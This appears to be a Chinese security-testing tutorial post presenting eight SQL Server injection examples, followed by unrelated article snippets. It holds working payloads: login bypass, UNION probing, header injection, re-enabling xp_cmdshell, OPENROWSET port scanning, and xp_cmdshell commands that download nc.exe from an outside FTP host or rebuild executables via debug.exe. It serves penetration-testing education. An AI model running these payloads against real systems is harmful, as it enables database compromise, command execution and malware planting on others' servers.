当前位置: 首页 > news >正文

安全测试之五:SQL Server注入漏洞几个实例

示例 1:在 GET 请求中测试 SQL 注入

最简单且有时最有效的情况是针对登录页面进行测试。当登录页面请求用户输入用户名和密码时,攻击者可以尝试输入以下字符串 “' or '1'='1”(不包含双引号):

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

如果应用程序正在使用动态 SQL 查询,并且该字符串将附加到用户凭证验证查询中,那么攻击者可能会成功登录应用程序。

示例 2:在 Get 请求中进行 SQL 注入以了解列数

为了了解目标表中存在多少列,攻击者可以构造如下请求:

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

示例 3:POST 请求中的 SQL 注入

在 POST 请求中进行 SQL 注入时,攻击者可以修改请求的内容。例如,注入的 HTTP POST 内容如下:

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

一个完整的 POST 示例(https://vulnerable.web.app/forgotpass.asp):

POST /forgotpass.asp HTTP/1.1

Host: vulnerable.web.app

[...]

Referer: http://vulnerable.web.app/forgotpass.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

当在电子邮件字段中输入(单引号)字符时,可能会获得如下错误消息:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string '' '.

/forgotpass.asp, line 15

这些错误消息可以帮助攻击者分析应用程序的 SQL 查询构建方式。

示例 4:另一个(非常有效的)GET 示

攻击者可以通过 GET 请求获取应用程序的源代码,构造如下请求:

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

该请求会将登录页面的源代码复制到一个可访问的文件中。

示例 5:自定义 xp_cmdshell

所有描述 SQL Server 安全最佳实践的书籍和论文都建议在 SQL Server 2000 中禁用 xp_cmdshell(在 SQL Server 2005 中默认禁用)。然而,如果攻击者具有 sysadmin 权限(可以通过本地权限提升或暴力破解 sysadmin 密码获得),通常可以绕过此限制。

  • 在 SQL Server 2000 上
  • 如果 xp_cmdshell 已禁用,攻击者可以简单地注入以下代码:

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'

  • 如果上述代码不起作用,意味着相关文件已被移动或删除。在这种情况下,攻击者需要注入以下代码:

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) ASDECLARE @result int, @OLEResult int, @RunResult intDECLARE @ShellID intEXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUTIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @WaitIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OADestroy @ShellIDreturn @result

这段代码由 Antonin Foller 撰写,它创建了一种新的使用方式,并且不会被默认禁用。在使用它之前,攻击者需要删除之前创建的(即使它不起作用),否则两个声明将冲突。

  • 在 SQL Server 2005 上
    xp_cmdshell 可以通过注入以下代码来启用:

master..sp_configure 'show advanced options',1reconfigure

master..sp_configure 'xp_cmdshell',1reconfigure

示例 6:利用 Referer /User - Agent 进行 SQL 注入

攻击者可以通过修改 HTTP 请求的 Referer 头部或 User - Agent 头部来执行任意 SQL 代码。

  • Referer 头部注入
    将 Referer 头部设置为:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

这样就允许执行任意 SQL 代码。

  • User - Agent 头部注入
    将 User - Agent 头部设置为以下内容同样会允许执行任意 SQL 代码:

User - Agent: user_agent', 'some_ip'); [SQL CODE]--

示例 7:SQL Server 作为端口扫描器

在 SQL Server 中,OpenRowset 命令是一个非常有用的工具,渗透测试人员可以使用它在目标网络中扫描其他机器的端口。注入以下查询:

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--

此查询将尝试连接到地址 x.y.w.z 的指定端口 p。如果端口关闭,将返回以下消息:

SQL Server does not exist or access denied

如果端口打开,则将返回以下错误之一:

General network error. Check your network documentation

OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error

当然,错误消息并不总是可用。如果是这种情况,攻击者可以使用响应时间来判断端口状态:使用封闭的端口,会发生超时(此示例中的 5 秒),而开放端口将立即返回结果。需要注意的是,SQL Server 2000 中默认情况下启用了 OpenRowset,但在 SQL Server 2005 中被禁用。

示例 8:可执行文件的上传

一旦攻击者可以使用 xp_cmdshell(无论是原生的还是自己修改过的),就可以轻松地将可执行文件上传到目标数据库服务器上。一个常见的选择是上传 netcat.exe,但任何木马都可以。

  • 使用 FTP 上传:
    如果允许目标启动 FTP 连接到渗透测试人员的计算机,攻击者只需要注入以下查询:

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

此时将上传 nc.exe 并可以使用。

  • 绕过防火墙上传
        如果防火墙不允许使用 FTP,攻击者可以利用默认安装在所有 Windows 机器上的 Windows 调试器 debug.exe。Debug.exe 是可编写脚本的,并且能够通过执行适当的脚本文件来创建可执行文件。攻击者需要做的是将可执行文件转换为调试脚本(这是一个 100% 的 ASCII 文件),逐行上传它,最后调用 debug.exe。有几个工具可以创建这种调试文件(例如:Ollie Whitehouse 的 makescr.exe 和 toolcrypt.org 的 dbgtool.exe)。因此,攻击者可以用以下内容进行注入的查询:

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--....exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--exec master..xp_cmdshell 'debug.exe < debugscript.txt';--

在这时,攻击者的可执行文件就可以在目标计算机上使用了。

相关文章:

安全测试之五:SQL Server注入漏洞几个实例

示例 1&#xff1a;在 GET 请求中测试 SQL 注入 最简单且有时最有效的情况是针对登录页面进行测试。当登录页面请求用户输入用户名和密码时&#xff0c;攻击者可以尝试输入以下字符串 “ or 11”&#xff08;不包含双引号&#xff09;&#xff1a; https://vulnerable.web.ap…...

如何在Github上面上传本地文件夹

前言 直接在GitHub网址上面上传文件夹是不行的&#xff0c;需要一层一层创建然后上传&#xff0c;而且文件的大小也有限制&#xff0c;使用Git进行上传更加方便和实用 1.下载和安装Git Git - Downloads 傻瓜式安装即可 2.获取密钥对 打开自己的Github&#xff0c;创建SSH密钥&…...

多Agent协作智能系统

多Agent协作智能系统商业计划书 ——基于文心大模型的虚拟世界协作解决方案 第一章 执行摘要 1.1 项目背景 技术驱动:文心大模型4.0工具版的推出标志着AI从“问答”向“行动”的跨越,多Agent协作成为复杂任务自动化的核心范式。市场需求:据Global Market Insights报告,20…...

第J1周:ResNet50算法(Tensorflow版)

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 目标 具体实现 &#xff08;一&#xff09;环境 语言环境&#xff1a;Python 3.10 编 译 器: PyCharm 框 架: TensorFlow &#xff08;二&#xff09;具体…...

炸裂函数explode

在 Apache Hive 中&#xff0c;"炸裂函数"通常指的是将复杂数据类型&#xff08;如数组或映射&#xff09;拆分成多行的函数。Hive 提供了几个内置函数来实现这种操作&#xff0c;其中最常用的是 explode 函数。 1. explode 函数 explode 函数用于将数组或映射类型…...

计算机视觉(opencv-python)之图像预处理基本操作(待补充)

图像预处理是计算机视觉任务中的关键步骤&#xff0c;它通过对原始图像进行处理&#xff0c;以提高后续图像分析、特征提取和识别的准确性。 示例图片 目录 常见图像处理方法 灰度化处理 法一 法二 说明 切片截取部分图像数据 cv2.cvtColor() 颜色空间转换 cv2.split(…...

数据结构秘籍(四) 堆 (详细包含用途、分类、存储、操作等)

1 引言 什么是堆&#xff1f; 堆是一种满足以下条件的树&#xff1a;&#xff08;树这一篇可以参考我的文章数据结构秘籍&#xff08;三&#xff09;树 &#xff08;含二叉树的分类、存储和定义&#xff09;-CSDN博客&#xff09; 堆中的每一个结点值都大于等于&#xff08…...

前端正则表达式完全指南:从入门到实战

文章目录 第一章&#xff1a;正则表达式基础概念1.1 什么是正则表达式1.2 正则表达式工作原理1.3 基础示例演示 第二章&#xff1a;正则表达式核心语法2.1 元字符大全表2.2 量词系统详解2.3 字符集合与排除 第三章&#xff1a;前端常用正则模式3.1 表单验证类3.1.1 邮箱验证3.1…...

【SRC实战】小游戏漏洞强制挑战

小游戏业务分析: 1、挑战成功加分&#xff0c;失败减分&#xff0c;存在段位机制&#xff0c;段位影响榜单排名 2、随机推荐挑战对象&#xff0c;随着等级升高不再推荐低等级玩家 3、玩家等级需要培养&#xff0c;培养需要道具&#xff0c;道具需要看广告/完成任务/付费 4、…...

细说 Java 集合之 Map

前言&#xff1a;本文基于JDK8 一、HashMap 1.1、hash方法 hash方法是map中的基石&#xff0c;后续很多操作都依赖hash方法&#xff1b; 下面是 jdk 7 中 hash方法&#xff0c;注意hashSeed 这个扰动因子&#xff0c;该值随机&#xff0c;所以同一个 key 每次调用hash方法后…...

【vue-echarts】——05.柱状图

文章目录 一、柱状图基本设置1.实现代码2.结果展示二、柱状图效果实现11.代码实现2.结果展示三、柱状图效果实现21.代码实现2.结果展示一、柱状图基本设置 柱状图:一种图表类型,因为构成是由一根一根类似柱子的数据条组合而成的坐标平面,所以命名为柱状 图。主要是用来反应对…...

【C】链式二叉树算法题1 -- 单值二叉树

leetcode链接https://leetcode.cn/problems/univalued-binary-tree/description/ 1 题目描述 如果二叉树每个节点都具有相同的值&#xff0c;那么该二叉树就是单值二叉树。只有给定的树是单值二叉树时&#xff0c;才返回 true&#xff1b;否则返回 false。 示例 1&#xff1…...

C++11——智能指针和function库

目录 一、智能指针 1. std::unique_ptr&#xff08;独占所有权指针&#xff09; 2. std::shared_ptr&#xff08;共享所有权指针&#xff09; 3. std::weak_ptr&#xff08;弱引用指针&#xff09; 关键区别总结 最佳实践 基本用法 可封装的对象类型 核心特性 示例代码…...

[操作系统] 文件的软链接和硬链接

文章目录 引言硬链接&#xff08;Hard Link&#xff09;什么是硬链接&#xff1f;硬链接的特性硬链接的用途 软链接&#xff08;Symbolic Link&#xff09;什么是软链接&#xff1f;软链接的特性软链接的用途 软硬链接对比文件的时间戳实际应用示例使用硬链接节省备份空间用软链…...

RabbitMQ面试题及原理

RabbitMQ使用场景&#xff1a; 异步发送&#xff08;验证码、短信、邮件…&#xff09;MYSQL和Redis, ES之间的数据同步分布式事务削峰填谷 1. 消息可靠性&#xff08;不丢失&#xff09; 消息丢失场景&#xff1a; RabbitMQ-如何保证消息不丟失&#xff1f; 开启生产者确…...

SpringBoot中Get请求和POST请求接收参数详解

1、Get请求 1.1 方法形参接收参数 这种方式一般适用参数比较少的情况&#xff0c;并且前后端参数名称必须保持一致 RestController RequestMapping(“/user”) Slf4j public class DemoController { GetMapping("/query") public void getStudent(String name,Strin…...

分布式日志和责任链路

目录 日志问题 责任链问题 分布式日志 GrayLog简介 部署安装 收集日志 配置Inputs 集成微服务 日志回收策略 搜索语法 搜索语法 自定义展示字段 日志统计仪表盘 创建仪表盘 链路追踪 APM 什么是APM 原理 技术选型 Skywalking简介 部署安装 微服务探针 整合…...

h5 IOS端渐变的兼容问题 渐变实现弧形效果

IOS端使用渐变的时候有兼容问题 以下是问题效果&#xff0c;图中黑色部分期望的效果应该是白色的。但是ios端是下面的样子…… 安卓pc 支持&#xff1a; background-image: radial-gradient(circle 40rpx at 100% 0, #f3630c 40rpx, rgb(255, 255, 255) 50%);安卓pc ios支持…...

哈希算法--猜数字游戏

1.题目要求 输入两个位数相同的数&#xff0c;判断对应位置的数字是否相等&#xff0c;返回两个数。第一个数是数字和位置完全猜对的数字个数&#xff0c;第二个数是数字大小猜对但位置不对的数字个数 2.逐步编程 2.1 定义函数 def g(secret,guess):sec_dic{}gue_dic{}# 定义…...

idea生成自定义Maven原型(archetype)项目工程模板

一、什么是Maven原型&#xff08;Maven archetype&#xff09; 引自官网的介绍如下&#xff1a; Maven原型插件官网地址 这里采用DeepSeek助手翻译如下&#xff1a; Maven 原型 什么是原型&#xff1f; 简而言之&#xff0c;原型是一个 Maven 项目模板工具包。原型被定义为一…...

【位运算】消失的两个数字(hard)

消失的两个数字&#xff08;hard&#xff09; 题⽬描述&#xff1a;解法&#xff08;位运算&#xff09;&#xff1a;Java 算法代码&#xff1a;更简便代码 题⽬链接&#xff1a;⾯试题 17.19. 消失的两个数字 题⽬描述&#xff1a; 给定⼀个数组&#xff0c;包含从 1 到 N 所有…...

关于nvm与node.js

1 安装nvm 安装过程中手动修改 nvm的安装路径&#xff0c; 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解&#xff0c;但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后&#xff0c;通常在该文件中会出现以下配置&…...

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

04-初识css

一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...

视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)

前言&#xff1a; 最近在做行为检测相关的模型&#xff0c;用的是时空图卷积网络&#xff08;STGCN&#xff09;&#xff0c;但原有kinetic-400数据集数据质量较低&#xff0c;需要进行细粒度的标注&#xff0c;同时粗略搜了下已有开源工具基本都集中于图像分割这块&#xff0c…...

[论文阅读]TrustRAG: Enhancing Robustness and Trustworthiness in RAG

TrustRAG: Enhancing Robustness and Trustworthiness in RAG [2501.00879] TrustRAG: Enhancing Robustness and Trustworthiness in Retrieval-Augmented Generation 代码&#xff1a;HuichiZhou/TrustRAG: Code for "TrustRAG: Enhancing Robustness and Trustworthin…...

从物理机到云原生:全面解析计算虚拟化技术的演进与应用

前言&#xff1a;我的虚拟化技术探索之旅 我最早接触"虚拟机"的概念是从Java开始的——JVM&#xff08;Java Virtual Machine&#xff09;让"一次编写&#xff0c;到处运行"成为可能。这个软件层面的虚拟化让我着迷&#xff0c;但直到后来接触VMware和Doc…...

Neko虚拟浏览器远程协作方案:Docker+内网穿透技术部署实践

前言&#xff1a;本文将向开发者介绍一款创新性协作工具——Neko虚拟浏览器。在数字化协作场景中&#xff0c;跨地域的团队常需面对实时共享屏幕、协同编辑文档等需求。通过本指南&#xff0c;你将掌握在Ubuntu系统中使用容器化技术部署该工具的具体方案&#xff0c;并结合内网…...

篇章二 论坛系统——系统设计

目录 2.系统设计 2.1 技术选型 2.2 设计数据库结构 2.2.1 数据库实体 1. 数据库设计 1.1 数据库名: forum db 1.2 表的设计 1.3 编写SQL 2.系统设计 2.1 技术选型 2.2 设计数据库结构 2.2.1 数据库实体 通过需求分析获得概念类并结合业务实现过程中的技术需要&#x…...

CppCon 2015 学习:Time Programming Fundamentals

Civil Time 公历时间 特点&#xff1a; 共 6 个字段&#xff1a; Year&#xff08;年&#xff09;Month&#xff08;月&#xff09;Day&#xff08;日&#xff09;Hour&#xff08;小时&#xff09;Minute&#xff08;分钟&#xff09;Second&#xff08;秒&#xff09; 表示…...